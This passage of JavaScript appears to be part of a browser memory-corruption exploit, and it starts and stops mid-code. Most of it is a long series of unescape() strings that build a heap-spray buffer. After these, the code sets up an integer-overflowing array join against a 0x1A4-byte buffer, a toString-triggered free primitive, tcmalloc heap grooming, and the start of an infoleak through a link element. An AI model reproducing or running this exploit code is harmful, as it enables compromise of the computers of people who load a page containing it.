unescape(\"%u0000%u6940%u0000%u6944%u0000%u6948%u0000%u694c%u0000%u6950%u0000%u6954%u0000%u6958%u0000%u695c%u0000%u6960%u0000%u6964%u0000%u6968%u0000%u696c%u0000%u6970%u0000%u6974%u0000%u6978%u0000%u697c\");\n    str    += unescape(\"%u0000%u6980%u0000%u6984%u0000%u6988%u0000%u698c%u0000%u6990%u0000%u6994%u0000%u6998%u0000%u699c%u0000%u69a0%u0000%u69a4%u0000%u69a8%u0000%u69ac%u0000%u69b0%u0000%u69b4%u0000%u69b8%u0000%u69bc\");\n    str    += unescape(\"%u0000%u69c0%u0000%u69c4%u0000%u69c8%u0000%u69cc%u0000%u69d0%u0000%u69d4%u0000%u69d8%u0000%u69dc%u0000%u69e0%u0000%u69e4%u0000%u69e8%u0000%u69ec%u0000%u69f0%u0000%u69f4%u0000%u69f8%u0000%u69fc\");\n    str    += unescape(\"%u0000%u6a00%u0000%u6a04%u0000%u6a08%u0000%u6a0c%u0000%u6a10%u0000%u6a14%u0000%u6a18%u0000%u6a1c%u0000%u6a20%u0000%u6a24%u0000%u6a28%u0000%u6a2c%u0000%u6a30%u0000%u6a34%u0000%u6a38%u0000%u6a3c\");\n    str    += unescape(\"%u0000%u6a40%u0000%u6a44%u0000%u6a48%u0000%u6a4c%u0000%u6a50%u0000%u6a54%u0000%u6a58%u0000%u6a5c%u0000%u6a60%u0000%u6a64%u0000%u6a68%u0000%u6a6c%u0000%u6a70%u0000%u6a74%u0000%u6a78%u0000%u6a7c\");\n    str    += unescape(\"%u0000%u6a80%u0000%u6a84%u0000%u6a88%u0000%u6a8c%u0000%u6a90%u0000%u6a94%u0000%u6a98%u0000%u6a9c%u0000%u6aa0%u0000%u6aa4%u0000%u6aa8%u0000%u6aac%u0000%u6ab0%u0000%u6ab4%u0000%u6ab8%u0000%u6abc\");\n    str    += unescape(\"%u0000%u6ac0%u0000%u6ac4%u0000%u6ac8%u0000%u6acc%u0000%u6ad0%u0000%u6ad4%u0000%u6ad8%u0000%u6adc%u0000%u6ae0%u0000%u6ae4%u0000%u6ae8%u0000%u6aec%u0000%u6af0%u0000%u6af4%u0000%u6af8%u0000%u6afc\");\n    str    += unescape(\"%u0000%u6b00%u0000%u6b04%u0000%u6b08%u0000%u6b0c%u0000%u6b10%u0000%u6b14%u0000%u6b18%u0000%u6b1c%u0000%u6b20%u0000%u6b24%u0000%u6b28%u0000%u6b2c%u0000%u6b30%u0000%u6b34%u0000%u6b38%u0000%u6b3c\");\n    str    += unescape(\"%u0000%u6b40%u0000%u6b44%u0000%u6b48%u0000%u6b4c%u0000%u6b50%u0000%u6b54%u0000%u6b58%u0000%u6b5c%u0000%u6b60%u0000%u6b64%u0000%u6b68%u0000%u6b6c%u0000%u6b70%u0000%u6b74%u0000%u6b78%u0000%u6b7c\");\n    str    += unescape(\"%u0000%u6b80%u0000%u6b84%u0000%u6b88%u0000%u6b8c%u0000%u6b90%u0000%u6b94%u0000%u6b98%u0000%u6b9c%u0000%u6ba0%u0000%u6ba4%u0000%u6ba8%u0000%u6bac%u0000%u6bb0%u0000%u6bb4%u0000%u6bb8%u0000%u6bbc\");\n    str    += unescape(\"%u0000%u6bc0%u0000%u6bc4%u0000%u6bc8%u0000%u6bcc%u0000%u6bd0%u0000%u6bd4%u0000%u6bd8%u0000%u6bdc%u0000%u6be0%u0000%u6be4%u0000%u6be8%u0000%u6bec%u0000%u6bf0%u0000%u6bf4%u0000%u6bf8%u0000%u6bfc\");\n    str    += unescape(\"%u0000%u6c00%u0000%u6c04%u0000%u6c08%u0000%u6c0c%u0000%u6c10%u0000%u6c14%u0000%u6c18%u0000%u6c1c%u0000%u6c20%u0000%u6c24%u0000%u6c28%u0000%u6c2c%u0000%u6c30%u0000%u6c34%u0000%u6c38%u0000%u6c3c\");\n    str    += unescape(\"%u0000%u6c40%u0000%u6c44%u0000%u6c48%u0000%u6c4c%u0000%u6c50%u0000%u6c54%u0000%u6c58%u0000%u6c5c%u0000%u6c60%u0000%u6c64%u0000%u6c68%u0000%u6c6c%u0000%u6c70%u0000%u6c74%u0000%u6c78%u0000%u6c7c\");\n    str    += unescape(\"%u0000%u6c80%u0000%u6c84%u0000%u6c88%u0000%u6c8c%u0000%u6c90%u0000%u6c94%u0000%u6c98%u0000%u6c9c%u0000%u6ca0%u0000%u6ca4%u0000%u6ca8%u0000%u6cac%u0000%u6cb0%u0000%u6cb4%u0000%u6cb8%u0000%u6cbc\");\n    str    += unescape(\"%u0000%u6cc0%u0000%u6cc4%u0000%u6cc8%u0000%u6ccc%u0000%u6cd0%u0000%u6cd4%u0000%u6cd8%u0000%u6cdc%u0000%u6ce0%u0000%u6ce4%u0000%u6ce8%u0000%u6cec%u0000%u6cf0%u0000%u6cf4%u0000%u6cf8%u0000%u6cfc\");\n    str    += unescape(\"%u0000%u6d00%u0000%u6d04%u0000%u6d08%u0000%u6d0c%u0000%u6d10%u0000%u6d14%u0000%u6d18%u0000%u6d1c%u0000%u6d20%u0000%u6d24%u0000%u6d28%u0000%u6d2c%u0000%u6d30%u0000%u6d34%u0000%u6d38%u0000%u6d3c\");\n    str    += unescape(\"%u0000%u6d40%u0000%u6d44%u0000%u6d48%u0000%u6d4c%u0000%u6d50%u0000%u6d54%u0000%u6d58%u0000%u6d5c%u0000%u6d60%u0000%u6d64%u0000%u6d68%u0000%u6d6c%u0000%u6d70%u0000%u6d74%u0000%u6d78%u0000%u6d7c\");\n    str    += unescape(\"%u0000%u6d80%u0000%u6d84%u0000%u6d88%u0000%u6d8c%u0000%u6d90%u0000%u6d94%u0000%u6d98%u0000%u6d9c%u0000%u6da0%u0000%u6da4%u0000%u6da8%u0000%u6dac%u0000%u6db0%u0000%u6db4%u0000%u6db8%u0000%u6dbc\");\n    str    += unescape(\"%u0000%u6dc0%u0000%u6dc4%u0000%u6dc8%u0000%u6dcc%u0000%u6dd0%u0000%u6dd4%u0000%u6dd8%u0000%u6ddc%u0000%u6de0%u0000%u6de4%u0000%u6de8%u0000%u6dec%u0000%u6df0%u0000%u6df4%u0000%u6df8%u0000%u6dfc\");\n    str    += unescape(\"%u0000%u6e00%u0000%u6e04%u0000%u6e08%u0000%u6e0c%u0000%u6e10%u0000%u6e14%u0000%u6e18%u0000%u6e1c%u0000%u6e20%u0000%u6e24%u0000%u6e28%u0000%u6e2c%u0000%u6e30%u0000%u6e34%u0000%u6e38%u0000%u6e3c\");\n    str    += unescape(\"%u0000%u6e40%u0000%u6e44%u0000%u6e48%u0000%u6e4c%u0000%u6e50%u0000%u6e54%u0000%u6e58%u0000%u6e5c%u0000%u6e60%u0000%u6e64%u0000%u6e68%u0000%u6e6c%u0000%u6e70%u0000%u6e74%u0000%u6e78%u0000%u6e7c\");\n    str    += unescape(\"%u0000%u6e80%u0000%u6e84%u0000%u6e88%u0000%u6e8c%u0000%u6e90%u0000%u6e94%u0000%u6e98%u0000%u6e9c%u0000%u6ea0%u0000%u6ea4%u0000%u6ea8%u0000%u6eac%u0000%u6eb0%u0000%u6eb4%u0000%u6eb8%u0000%u6ebc\");\n    str    += unescape(\"%u0000%u6ec0%u0000%u6ec4%u0000%u6ec8%u0000%u6ecc%u0000%u6ed0%u0000%u6ed4%u0000%u6ed8%u0000%u6edc%u0000%u6ee0%u0000%u6ee4%u0000%u6ee8%u0000%u6eec%u0000%u6ef0%u0000%u6ef4%u0000%u6ef8%u0000%u6efc\");\n    str    += unescape(\"%u0000%u6f00%u0000%u6f04%u0000%u6f08%u0000%u6f0c%u0000%u6f10%u0000%u6f14%u0000%u6f18%u0000%u6f1c%u0000%u6f20%u0000%u6f24%u0000%u6f28%u0000%u6f2c%u0000%u6f30%u0000%u6f34%u0000%u6f38%u0000%u6f3c\");\n    str    += unescape(\"%u0000%u6f40%u0000%u6f44%u0000%u6f48%u0000%u6f4c%u0000%u6f50%u0000%u6f54%u0000%u6f58%u0000%u6f5c%u0000%u6f60%u0000%u6f64%u0000%u6f68%u0000%u6f6c%u0000%u6f70%u0000%u6f74%u0000%u6f78%u0000%u6f7c\");\n    str    += unescape(\"%u0000%u6f80%u0000%u6f84%u0000%u6f88%u0000%u6f8c%u0000%u6f90%u0000%u6f94%u0000%u6f98%u0000%u6f9c%u0000%u6fa0%u0000%u6fa4%u0000%u6fa8%u0000%u6fac%u0000%u6fb0%u0000%u6fb4%u0000%u6fb8%u0000%u6fbc\");\n    str    += unescape(\"%u0000%u6fc0%u0000%u6fc4%u0000%u6fc8%u0000%u6fcc%u0000%u6fd0%u0000%u6fd4%u0000%u6fd8%u0000%u6fdc%u0000%u6fe0%u0000%u6fe4%u0000%u6fe8%u0000%u6fec%u0000%u6ff0%u0000%u6ff4%u0000%u6ff8%u0000%u6ffc\");\n    str    += unescape(\"%u0000%u7000%u0000%u7004%u0000%u7008%u0000%u700c%u0000%u7010%u0000%u7014%u0000%u7018%u0000%u701c%u0000%u7020%u0000%u7024%u0000%u7028%u0000%u702c%u0000%u7030%u0000%u7034%u0000%u7038%u0000%u703c\");\n    str    += unescape(\"%u0000%u7040%u0000%u7044%u0000%u7048%u0000%u704c%u0000%u7050%u0000%u7054%u0000%u7058%u0000%u705c%u0000%u7060%u0000%u7064%u0000%u7068%u0000%u706c%u0000%u7070%u0000%u7074%u0000%u7078%u0000%u707c\");\n    str    += unescape(\"%u0000%u7080%u0000%u7084%u0000%u7088%u0000%u708c%u0000%u7090%u0000%u7094%u0000%u7098%u0000%u709c%u0000%u70a0%u0000%u70a4%u0000%u70a8%u0000%u70ac%u0000%u70b0%u0000%u70b4%u0000%u70b8%u0000%u70bc\");\n    str    += unescape(\"%u0000%u70c0%u0000%u70c4%u0000%u70c8%u0000%u70cc%u0000%u70d0%u0000%u70d4%u0000%u70d8%u0000%u70dc%u0000%u70e0%u0000%u70e4%u0000%u70e8%u0000%u70ec%u0000%u70f0%u0000%u70f4%u0000%u70f8%u0000%u70fc\");\n    str    += unescape(\"%u0000%u7100%u0000%u7104%u0000%u7108%u0000%u710c%u0000%u7110%u0000%u7114%u0000%u7118%u0000%u711c%u0000%u7120%u0000%u7124%u0000%u7128%u0000%u712c%u0000%u7130%u0000%u7134%u0000%u7138%u0000%u713c\");\n    str    += unescape(\"%u0000%u7140%u0000%u7144%u0000%u7148%u0000%u714c%u0000%u7150%u0000%u7154%u0000%u7158%u0000%u715c%u0000%u7160%u0000%u7164%u0000%u7168%u0000%u716c%u0000%u7170%u0000%u7174%u0000%u7178%u0000%u717c\");\n    str    += unescape(\"%u0000%u7180%u0000%u7184%u0000%u7188%u0000%u718c%u0000%u7190%u0000%u7194%u0000%u7198%u0000%u719c%u0000%u71a0%u0000%u71a4%u0000%u71a8%u0000%u71ac%u0000%u71b0%u0000%u71b4%u0000%u71b8%u0000%u71bc\");\n    str    += unescape(\"%u0000%u71c0%u0000%u71c4%u0000%u71c8%u0000%u71cc%u0000%u71d0%u0000%u71d4%u0000%u71d8%u0000%u71dc%u0000%u71e0%u0000%u71e4%u0000%u71e8%u0000%u71ec%u0000%u71f0%u0000%u71f4%u0000%u71f8%u0000%u71fc\");\n    str    += unescape(\"%u0000%u7200%u0000%u7204%u0000%u7208%u0000%u720c%u0000%u7210%u0000%u7214%u0000%u7218%u0000%u721c%u0000%u7220%u0000%u7224%u0000%u7228%u0000%u722c%u0000%u7230%u0000%u7234%u0000%u7238%u0000%u723c\");\n    str    += unescape(\"%u0000%u7240%u0000%u7244%u0000%u7248%u0000%u724c%u0000%u7250%u0000%u7254%u0000%u7258%u0000%u725c%u0000%u7260%u0000%u7264%u0000%u7268%u0000%u726c%u0000%u7270%u0000%u7274%u0000%u7278%u0000%u727c\");\n    str    += unescape(\"%u0000%u7280%u0000%u7284%u0000%u7288%u0000%u728c%u0000%u7290%u0000%u7294%u0000%u7298%u0000%u729c%u0000%u72a0%u0000%u72a4%u0000%u72a8%u0000%u72ac%u0000%u72b0%u0000%u72b4%u0000%u72b8%u0000%u72bc\");\n    str    += unescape(\"%u0000%u72c0%u0000%u72c4%u0000%u72c8%u0000%u72cc%u0000%u72d0%u0000%u72d4%u0000%u72d8%u0000%u72dc%u0000%u72e0%u0000%u72e4%u0000%u72e8%u0000%u72ec%u0000%u72f0%u0000%u72f4%u0000%u72f8%u0000%u72fc\");\n    str    += unescape(\"%u0000%u7300%u0000%u7304%u0000%u7308%u0000%u730c%u0000%u7310%u0000%u7314%u0000%u7318%u0000%u731c%u0000%u7320%u0000%u7324%u0000%u7328%u0000%u732c%u0000%u7330%u0000%u7334%u0000%u7338%u0000%u733c\");\n    str    += unescape(\"%u0000%u7340%u0000%u7344%u0000%u7348%u0000%u734c%u0000%u7350%u0000%u7354%u0000%u7358%u0000%u735c%u0000%u7360%u0000%u7364%u0000%u7368%u0000%u736c%u0000%u7370%u0000%u7374%u0000%u7378%u0000%u737c\");\n    str    += unescape(\"%u0000%u7380%u0000%u7384%u0000%u7388%u0000%u738c%u0000%u7390%u0000%u7394%u0000%u7398%u0000%u739c%u0000%u73a0%u0000%u73a4%u0000%u73a8%u0000%u73ac%u0000%u73b0%u0000%u73b4%u0000%u73b8%u0000%u73bc\");\n    str    += unescape(\"%u0000%u73c0%u0000%u73c4%u0000%u73c8%u0000%u73cc%u0000%u73d0%u0000%u73d4%u0000%u73d8%u0000%u73dc%u0000%u73e0%u0000%u73e4%u0000%u73e8%u0000%u73ec%u0000%u73f0%u0000%u73f4%u0000%u73f8%u0000%u73fc\");\n    str    += unescape(\"%u0000%u7400%u0000%u7404%u0000%u7408%u0000%u740c%u0000%u7410%u0000%u7414%u0000%u7418%u0000%u741c%u0000%u7420%u0000%u7424%u0000%u7428%u0000%u742c%u0000%u7430%u0000%u7434%u0000%u7438%u0000%u743c\");\n    str    += unescape(\"%u0000%u7440%u0000%u7444%u0000%u7448%u0000%u744c%u0000%u7450%u0000%u7454%u0000%u7458%u0000%u745c%u0000%u7460%u0000%u7464%u0000%u7468%u0000%u746c%u0000%u7470%u0000%u7474%u0000%u7478%u0000%u747c\");\n    str    += unescape(\"%u0000%u7480%u0000%u7484%u0000%u7488%u0000%u748c%u0000%u7490%u0000%u7494%u0000%u7498%u0000%u749c%u0000%u74a0%u0000%u74a4%u0000%u74a8%u0000%u74ac%u0000%u74b0%u0000%u74b4%u0000%u74b8%u0000%u74bc\");\n    str    += unescape(\"%u0000%u74c0%u0000%u74c4%u0000%u74c8%u0000%u74cc%u0000%u74d0%u0000%u74d4%u0000%u74d8%u0000%u74dc%u0000%u74e0%u0000%u74e4%u0000%u74e8%u0000%u74ec%u0000%u74f0%u0000%u74f4%u0000%u74f8%u0000%u74fc\");\n    str    += unescape(\"%u0000%u7500%u0000%u7504%u0000%u7508%u0000%u750c%u0000%u7510%u0000%u7514%u0000%u7518%u0000%u751c%u0000%u7520%u0000%u7524%u0000%u7528%u0000%u752c%u0000%u7530%u0000%u7534%u0000%u7538%u0000%u753c\");\n    str    += unescape(\"%u0000%u7540%u0000%u7544%u0000%u7548%u0000%u754c%u0000%u7550%u0000%u7554%u0000%u7558%u0000%u755c%u0000%u7560%u0000%u7564%u0000%u7568%u0000%u756c%u0000%u7570%u0000%u7574%u0000%u7578%u0000%u757c\");\n    str    += unescape(\"%u0000%u7580%u0000%u7584%u0000%u7588%u0000%u758c%u0000%u7590%u0000%u7594%u0000%u7598%u0000%u759c%u0000%u75a0%u0000%u75a4%u0000%u75a8%u0000%u75ac%u0000%u75b0%u0000%u75b4%u0000%u75b8%u0000%u75bc\");\n    str    += unescape(\"%u0000%u75c0%u0000%u75c4%u0000%u75c8%u0000%u75cc%u0000%u75d0%u0000%u75d4%u0000%u75d8%u0000%u75dc%u0000%u75e0%u0000%u75e4%u0000%u75e8%u0000%u75ec%u0000%u75f0%u0000%u75f4%u0000%u75f8%u0000%u75fc\");\n    str    += unescape(\"%u0000%u7600%u0000%u7604%u0000%u7608%u0000%u760c%u0000%u7610%u0000%u7614%u0000%u7618%u0000%u761c%u0000%u7620%u0000%u7624%u0000%u7628%u0000%u762c%u0000%u7630%u0000%u7634%u0000%u7638%u0000%u763c\");\n    str    += unescape(\"%u0000%u7640%u0000%u7644%u0000%u7648%u0000%u764c%u0000%u7650%u0000%u7654%u0000%u7658%u0000%u765c%u0000%u7660%u0000%u7664%u0000%u7668%u0000%u766c%u0000%u7670%u0000%u7674%u0000%u7678%u0000%u767c\");\n    str    += unescape(\"%u0000%u7680%u0000%u7684%u0000%u7688%u0000%u768c%u0000%u7690%u0000%u7694%u0000%u7698%u0000%u769c%u0000%u76a0%u0000%u76a4%u0000%u76a8%u0000%u76ac%u0000%u76b0%u0000%u76b4%u0000%u76b8%u0000%u76bc\");\n    str    += unescape(\"%u0000%u76c0%u0000%u76c4%u0000%u76c8%u0000%u76cc%u0000%u76d0%u0000%u76d4%u0000%u76d8%u0000%u76dc%u0000%u76e0%u0000%u76e4%u0000%u76e8%u0000%u76ec%u0000%u76f0%u0000%u76f4%u0000%u76f8%u0000%u76fc\");\n    str    += unescape(\"%u0000%u7700%u0000%u7704%u0000%u7708%u0000%u770c%u0000%u7710%u0000%u7714%u0000%u7718%u0000%u771c%u0000%u7720%u0000%u7724%u0000%u7728%u0000%u772c%u0000%u7730%u0000%u7734%u0000%u7738%u0000%u773c\");\n    str    += unescape(\"%u0000%u7740%u0000%u7744%u0000%u7748%u0000%u774c%u0000%u7750%u0000%u7754%u0000%u7758%u0000%u775c%u0000%u7760%u0000%u7764%u0000%u7768%u0000%u776c%u0000%u7770%u0000%u7774%u0000%u7778%u0000%u777c\");\n    str    += unescape(\"%u0000%u7780%u0000%u7784%u0000%u7788%u0000%u778c%u0000%u7790%u0000%u7794%u0000%u7798%u0000%u779c%u0000%u77a0%u0000%u77a4%u0000%u77a8%u0000%u77ac%u0000%u77b0%u0000%u77b4%u0000%u77b8%u0000%u77bc\");\n    str    += unescape(\"%u0000%u77c0%u0000%u77c4%u0000%u77c8%u0000%u77cc%u0000%u77d0%u0000%u77d4%u0000%u77d8%u0000%u77dc%u0000%u77e0%u0000%u77e4%u0000%u77e8%u0000%u77ec%u0000%u77f0%u0000%u77f4%u0000%u77f8%u0000%u77fc\");\n    str    += unescape(\"%u0000%u7800%u0000%u7804%u0000%u7808%u0000%u780c%u0000%u7810%u0000%u7814%u0000%u7818%u0000%u781c%u0000%u7820%u0000%u7824%u0000%u7828%u0000%u782c%u0000%u7830%u0000%u7834%u0000%u7838%u0000%u783c\");\n    str    += unescape(\"%u0000%u7840%u0000%u7844%u0000%u7848%u0000%u784c%u0000%u7850%u0000%u7854%u0000%u7858%u0000%u785c%u0000%u7860%u0000%u7864%u0000%u7868%u0000%u786c%u0000%u7870%u0000%u7874%u0000%u7878%u0000%u787c\");\n    str    += unescape(\"%u0000%u7880%u0000%u7884%u0000%u7888%u0000%u788c%u0000%u7890%u0000%u7894%u0000%u7898%u0000%u789c%u0000%u78a0%u0000%u78a4%u0000%u78a8%u0000%u78ac%u0000%u78b0%u0000%u78b4%u0000%u78b8%u0000%u78bc\");\n    str    += unescape(\"%u0000%u78c0%u0000%u78c4%u0000%u78c8%u0000%u78cc%u0000%u78d0%u0000%u78d4%u0000%u78d8%u0000%u78dc%u0000%u78e0%u0000%u78e4%u0000%u78e8%u0000%u78ec%u0000%u78f0%u0000%u78f4%u0000%u78f8%u0000%u78fc\");\n    str    += unescape(\"%u0000%u7900%u0000%u7904%u0000%u7908%u0000%u790c%u0000%u7910%u0000%u7914%u0000%u7918%u0000%u791c%u0000%u7920%u0000%u7924%u0000%u7928%u0000%u792c%u0000%u7930%u0000%u7934%u0000%u7938%u0000%u793c\");\n    str    += unescape(\"%u0000%u7940%u0000%u7944%u0000%u7948%u0000%u794c%u0000%u7950%u0000%u7954%u0000%u7958%u0000%u795c%u0000%u7960%u0000%u7964%u0000%u7968%u0000%u796c%u0000%u7970%u0000%u7974%u0000%u7978%u0000%u797c\");\n    str    += unescape(\"%u0000%u7980%u0000%u7984%u0000%u7988%u0000%u798c%u0000%u7990%u0000%u7994%u0000%u7998%u0000%u799c%u0000%u79a0%u0000%u79a4%u0000%u79a8%u0000%u79ac%u0000%u79b0%u0000%u79b4%u0000%u79b8%u0000%u79bc\");\n    str    += unescape(\"%u0000%u79c0%u0000%u79c4%u0000%u79c8%u0000%u79cc%u0000%u79d0%u0000%u79d4%u0000%u79d8%u0000%u79dc%u0000%u79e0%u0000%u79e4%u0000%u79e8%u0000%u79ec%u0000%u79f0%u0000%u79f4%u0000%u79f8%u0000%u79fc\");\n    str    += unescape(\"%u0000%u7a00%u0000%u7a04%u0000%u7a08%u0000%u7a0c%u0000%u7a10%u0000%u7a14%u0000%u7a18%u0000%u7a1c%u0000%u7a20%u0000%u7a24%u0000%u7a28%u0000%u7a2c%u0000%u7a30%u0000%u7a34%u0000%u7a38%u0000%u7a3c\");\n    str    += unescape(\"%u0000%u7a40%u0000%u7a44%u0000%u7a48%u0000%u7a4c%u0000%u7a50%u0000%u7a54%u0000%u7a58%u0000%u7a5c%u0000%u7a60%u0000%u7a64%u0000%u7a68%u0000%u7a6c%u0000%u7a70%u0000%u7a74%u0000%u7a78%u0000%u7a7c\");\n    str    += unescape(\"%u0000%u7a80%u0000%u7a84%u0000%u7a88%u0000%u7a8c%u0000%u7a90%u0000%u7a94%u0000%u7a98%u0000%u7a9c%u0000%u7aa0%u0000%u7aa4%u0000%u7aa8%u0000%u7aac%u0000%u7ab0%u0000%u7ab4%u0000%u7ab8%u0000%u7abc\");\n    str    += unescape(\"%u0000%u7ac0%u0000%u7ac4%u0000%u7ac8%u0000%u7acc%u0000%u7ad0%u0000%u7ad4%u0000%u7ad8%u0000%u7adc%u0000%u7ae0%u0000%u7ae4%u0000%u7ae8%u0000%u7aec%u0000%u7af0%u0000%u7af4%u0000%u7af8%u0000%u7afc\");\n    str    += unescape(\"%u0000%u7b00%u0000%u7b04%u0000%u7b08%u0000%u7b0c%u0000%u7b10%u0000%u7b14%u0000%u7b18%u0000%u7b1c%u0000%u7b20%u0000%u7b24%u0000%u7b28%u0000%u7b2c%u0000%u7b30%u0000%u7b34%u0000%u7b38%u0000%u7b3c\");\n    str    += unescape(\"%u0000%u7b40%u0000%u7b44%u0000%u7b48%u0000%u7b4c%u0000%u7b50%u0000%u7b54%u0000%u7b58%u0000%u7b5c%u0000%u7b60%u0000%u7b64%u0000%u7b68%u0000%u7b6c%u0000%u7b70%u0000%u7b74%u0000%u7b78%u0000%u7b7c\");\n    str    += unescape(\"%u0000%u7b80%u0000%u7b84%u0000%u7b88%u0000%u7b8c%u0000%u7b90%u0000%u7b94%u0000%u7b98%u0000%u7b9c%u0000%u7ba0%u0000%u7ba4%u0000%u7ba8%u0000%u7bac%u0000%u7bb0%u0000%u7bb4%u0000%u7bb8%u0000%u7bbc\");\n    str    += unescape(\"%u0000%u7bc0%u0000%u7bc4%u0000%u7bc8%u0000%u7bcc%u0000%u7bd0%u0000%u7bd4%u0000%u7bd8%u0000%u7bdc%u0000%u7be0%u0000%u7be4%u0000%u7be8%u0000%u7bec%u0000%u7bf0%u0000%u7bf4%u0000%u7bf8%u0000%u7bfc\");\n    str    += unescape(\"%u0000%u7c00%u0000%u7c04%u0000%u7c08%u0000%u7c0c%u0000%u7c10%u0000%u7c14%u0000%u7c18%u0000%u7c1c%u0000%u7c20%u0000%u7c24%u0000%u7c28%u0000%u7c2c%u0000%u7c30%u0000%u7c34%u0000%u7c38%u0000%u7c3c\");\n    str    += unescape(\"%u0000%u7c40%u0000%u7c44%u0000%u7c48%u0000%u7c4c%u0000%u7c50%u0000%u7c54%u0000%u7c58%u0000%u7c5c%u0000%u7c60%u0000%u7c64%u0000%u7c68%u0000%u7c6c%u0000%u7c70%u0000%u7c74%u0000%u7c78%u0000%u7c7c\");\n    str    += unescape(\"%u0000%u7c80%u0000%u7c84%u0000%u7c88%u0000%u7c8c%u0000%u7c90%u0000%u7c94%u0000%u7c98%u0000%u7c9c%u0000%u7ca0%u0000%u7ca4%u0000%u7ca8%u0000%u7cac%u0000%u7cb0%u0000%u7cb4%u0000%u7cb8%u0000%u7cbc\");\n    str    += unescape(\"%u0000%u7cc0%u0000%u7cc4%u0000%u7cc8%u0000%u7ccc%u0000%u7cd0%u0000%u7cd4%u0000%u7cd8%u0000%u7cdc%u0000%u7ce0%u0000%u7ce4%u0000%u7ce8%u0000%u7cec%u0000%u7cf0%u0000%u7cf4%u0000%u7cf8%u0000%u7cfc\");\n    str    += unescape(\"%u0000%u7d00%u0000%u7d04%u0000%u7d08%u0000%u7d0c%u0000%u7d10%u0000%u7d14%u0000%u7d18%u0000%u7d1c%u0000%u7d20%u0000%u7d24%u0000%u7d28%u0000%u7d2c%u0000%u7d30%u0000%u7d34%u0000%u7d38%u0000%u7d3c\");\n    str    += unescape(\"%u0000%u7d40%u0000%u7d44%u0000%u7d48%u0000%u7d4c%u0000%u7d50%u0000%u7d54%u0000%u7d58%u0000%u7d5c%u0000%u7d60%u0000%u7d64%u0000%u7d68%u0000%u7d6c%u0000%u7d70%u0000%u7d74%u0000%u7d78%u0000%u7d7c\");\n    str    += unescape(\"%u0000%u7d80%u0000%u7d84%u0000%u7d88%u0000%u7d8c%u0000%u7d90%u0000%u7d94%u0000%u7d98%u0000%u7d9c%u0000%u7da0%u0000%u7da4%u0000%u7da8%u0000%u7dac%u0000%u7db0%u0000%u7db4%u0000%u7db8%u0000%u7dbc\");\n    str    += unescape(\"%u0000%u7dc0%u0000%u7dc4%u0000%u7dc8%u0000%u7dcc%u0000%u7dd0%u0000%u7dd4%u0000%u7dd8%u0000%u7ddc%u0000%u7de0%u0000%u7de4%u0000%u7de8%u0000%u7dec%u0000%u7df0%u0000%u7df4%u0000%u7df8%u0000%u7dfc\");\n    str    += unescape(\"%u0000%u7e00%u0000%u7e04%u0000%u7e08%u0000%u7e0c%u0000%u7e10%u0000%u7e14%u0000%u7e18%u0000%u7e1c%u0000%u7e20%u0000%u7e24%u0000%u7e28%u0000%u7e2c%u0000%u7e30%u0000%u7e34%u0000%u7e38%u0000%u7e3c\");\n    str    += unescape(\"%u0000%u7e40%u0000%u7e44%u0000%u7e48%u0000%u7e4c%u0000%u7e50%u0000%u7e54%u0000%u7e58%u0000%u7e5c%u0000%u7e60%u0000%u7e64%u0000%u7e68%u0000%u7e6c%u0000%u7e70%u0000%u7e74%u0000%u7e78%u0000%u7e7c\");\n    str    += unescape(\"%u0000%u7e80%u0000%u7e84%u0000%u7e88%u0000%u7e8c%u0000%u7e90%u0000%u7e94%u0000%u7e98%u0000%u7e9c%u0000%u7ea0%u0000%u7ea4%u0000%u7ea8%u0000%u7eac%u0000%u7eb0%u0000%u7eb4%u0000%u7eb8%u0000%u7ebc\");\n    str    += unescape(\"%u0000%u7ec0%u0000%u7ec4%u0000%u7ec8%u0000%u7ecc%u0000%u7ed0%u0000%u7ed4%u0000%u7ed8%u0000%u7edc%u0000%u7ee0%u0000%u7ee4%u0000%u7ee8%u0000%u7eec%u0000%u7ef0%u0000%u7ef4%u0000%u7ef8%u0000%u7efc\");\n    str    += unescape(\"%u0000%u7f00%u0000%u7f04%u0000%u7f08%u0000%u7f0c%u0000%u7f10%u0000%u7f14%u0000%u7f18%u0000%u7f1c%u0000%u7f20%u0000%u7f24%u0000%u7f28%u0000%u7f2c%u0000%u7f30%u0000%u7f34%u0000%u7f38%u0000%u7f3c\");\n    str    += unescape(\"%u0000%u7f40%u0000%u7f44%u0000%u7f48%u0000%u7f4c%u0000%u7f50%u0000%u7f54%u0000%u7f58%u0000%u7f5c%u0000%u7f60%u0000%u7f64%u0000%u7f68%u0000%u7f6c%u0000%u7f70%u0000%u7f74%u0000%u7f78%u0000%u7f7c\");\n    str    += unescape(\"%u0000%u7f80%u0000%u7f84%u0000%u7f88%u0000%u7f8c%u0000%u7f90%u0000%u7f94%u0000%u7f98%u0000%u7f9c%u0000%u7fa0%u0000%u7fa4%u0000%u7fa8%u0000%u7fac%u0000%u7fb0%u0000%u7fb4%u0000%u7fb8%u0000%u7fbc\");\n    str    += unescape(\"%u0000%u7fc0%u0000%u7fc4%u0000%u7fc8%u0000%u7fcc%u0000%u7fd0%u0000%u7fd4%u0000%u7fd8%u0000%u7fdc%u0000%u7fe0%u0000%u7fe4%u0000%u7fe8%u0000%u7fec%u0000%u7ff0%u0000%u7ff4%u0000%u7ff8%u0000%u7ffc\");\n\t\n\tvar h1 = [];\n\th1[0] = str.substring(0, str.length);\n\t\t\t\t\t\n\tfor (i = 1; i <= n; i++)\n\t\th1[i] = unescape(h1[0]);\n\t\t\n\treturn h1;\n}\n\t\n// Format uint32.\nfunction uint32(value){\n  var s = '';\n  for (var i = 0; i < 4; i++) {\n    s += String.fromCharCode((value >> (i * 8)) & 0xff);\n  }\n  return s;\n}\n\n// Memory placeholder.\nholder = [];\n\n// Allocate the overwrite string.\nunbound_payload = uint32(0xffffffff);\noverwrite_string = alloc(0x1A0, 0) + unbound_payload;\n\n// Flatten overwrite_string.\nholder.push(overwrite_string[0]);\n\n// Build the overwrite array.\narr = [];\n\n// Array to be joined.\n// 0x10000 * 0x10000 + 0x1A0 + 0x4 = 0x1000001A4\n// Buffer size is 0x1A4.\nfunction build_arr() { \n  arr.length = 0;\n  arr.push(overwrite_string);\n  for (var i = 0; i < 0x10000; i++) {\n    arr.push(long_string);\n  }\n}\n\n// Free primitive.\nvar force_alloc_and_free = {\n  toString: build_arr\n};\n\nvar force_arr = [];\nforce_arr.push(force_alloc_and_free);\nfor (var i = 1; i < 0x1A4/4; i++)\n{\n  force_arr.push('');\n}\n\n// Force allocations to trick tcmalloc.\nfor(var i = 0; i < 1635; i++) {\n  holder.push(alloc(0x1A0 - 0x20, 1));\n}\n\n// Create link element.\nelem = document.createElement(\"link\");\n\n// Allocate infoleak 